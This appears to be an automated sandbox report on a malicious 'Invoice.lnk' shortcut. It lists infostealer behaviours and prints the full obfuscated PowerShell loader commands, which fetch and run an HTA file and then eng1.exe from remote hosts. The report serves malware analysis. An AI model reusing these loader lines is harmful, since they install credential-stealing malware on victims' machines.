Analysis
- max time kernel
90s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
- submitted
11/05/2023, 19:11
General
- Target Invoice.lnk
- Size 3KB
- Sample230511-xvyjyaab56
- SHA256 285ce0e5bbbe2d2f72c24762d2a7579f5a397b38efa6e60de6dd89bc00a0125f
Malware Config
Signatures
- Blocklisted process makes network request 2 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0; function nvRClWiAJT($OnUPXhNfGyEh){$OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')}; function sDjLksFILdkrdR($OnUPXhNfGyEh){ $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh; for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){ try{$zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)} catch{$zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)}};$zRavFAQNJqOVxb}; $NpzibtULgyi = sDjLksFILdkrdR 'ta.hg1enn/hi/coucys.erstmaofershma//s:tpht'; $cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1]; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing; [IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl; sleep 3; rm $cDkdhkGBtl;2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\eng1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function xgtifdZV($N, $BR){[IO.File]::WriteAllBytes($N, $BR)};function jgwshMccE($N){if($N.EndsWith((eFKBM @(12081,12135,12143,12143))) -eq $True){Start-Process (eFKBM @(12149,12152,12145,12135,12143,12143,12086,12085,12081,12136,12155,12136)) $N}else{Start-Process $N}};function cwzzlRUmf($BX){$I = New-Object (eFKBM @(12113,12136,12151,12081,12122,12136,12133,12102,12143,12140,12136,12145,12151));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$BR = $I.DownloadData($BX);return $BR};function eFKBM($Vc){$s=12035;$G=$Null;foreach($OA in $Vc){$G+=[char]($OA-$s)};return $G};function NqCmJHfNi(){$egWDbKbT = $env:APPDATA + '\';$tUJbXl = cwzzlRUmf (eFKBM @(12139,12151,12151,12147,12150,12093,12082,12082,12144,12132,12150,12139,12136,12149,12146,12137,12144,12132,12150,12151,12136,12149,12150,12081,12134,12156,12146,12152,12082,12134,12139,12140,12145,12082,12136,12145,12138,12084,12081,12136,12155,12136));$oTxmKozh = $egWDbKbT + 'eng1.exe';xgtifdZV $oTxmKozh $tUJbXl;jgwshMccE $oTxmKozh;;;;}NqCmJHfNi;4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\eng1.exe"C:\Users\Admin\AppData\Roaming\eng1.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_nzuijh0f.3zx.ps1
eng1.exe
eng1.exe
eng1.exe
eng1.hta
memory/800-140-0x000001E7CDE90000-0x000001E7CDEB2000-memory.dmp
memory/800-145-0x000001E7CDED0000-0x000001E7CDEE0000-memory.dmp
memory/800-146-0x000001E7CDED0000-0x000001E7CDEE0000-memory.dmp
memory/800-147-0x000001E7CDED0000-0x000001E7CDEE0000-memory.dmp
memory/1820-172-0x0000000007DE0000-0x000000000845A000-memory.dmp
memory/1820-155-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1820-159-0x0000000005F20000-0x0000000005F86000-memory.dmp
memory/1820-157-0x00000000055B0000-0x00000000055D2000-memory.dmp
memory/1820-170-0x0000000006470000-0x000000000648E000-memory.dmp
memory/1820-171-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1820-156-0x0000000005240000-0x0000000005250000-memory.dmp
memory/1820-173-0x0000000006B10000-0x0000000006B2A000-memory.dmp
memory/1820-175-0x0000000007A40000-0x0000000007AD6000-memory.dmp
memory/1820-176-0x00000000079E0000-0x0000000007A02000-memory.dmp
memory/1820-177-0x0000000009A10000-0x0000000009FB4000-memory.dmp
memory/1820-158-0x0000000005EB0000-0x0000000005F16000-memory.dmp
memory/1820-154-0x0000000005880000-0x0000000005EA8000-memory.dmp
memory/1820-153-0x0000000002C50000-0x0000000002C86000-memory.dmp
memory/2016-190-0x0000000000900000-0x00000000009A4000-memory.dmp
memory/2016-191-0x0000000005210000-0x00000000052AC000-memory.dmp
memory/2016-192-0x0000000005380000-0x0000000005412000-memory.dmp
memory/2016-193-0x00000000054A0000-0x0000000005516000-memory.dmp
memory/2016-194-0x0000000005420000-0x000000000543E000-memory.dmp
memory/3352-195-0x0000000000400000-0x000000000041A000-memory.dmp
memory/3352-197-0x0000000006100000-0x00000000062C2000-memory.dmp
memory/3352-198-0x0000000005810000-0x000000000581A000-memory.dmp
memory/3352-199-0x0000000005610000-0x0000000005620000-memory.dmp
memory/3352-200-0x0000000005610000-0x0000000005620000-memory.dmp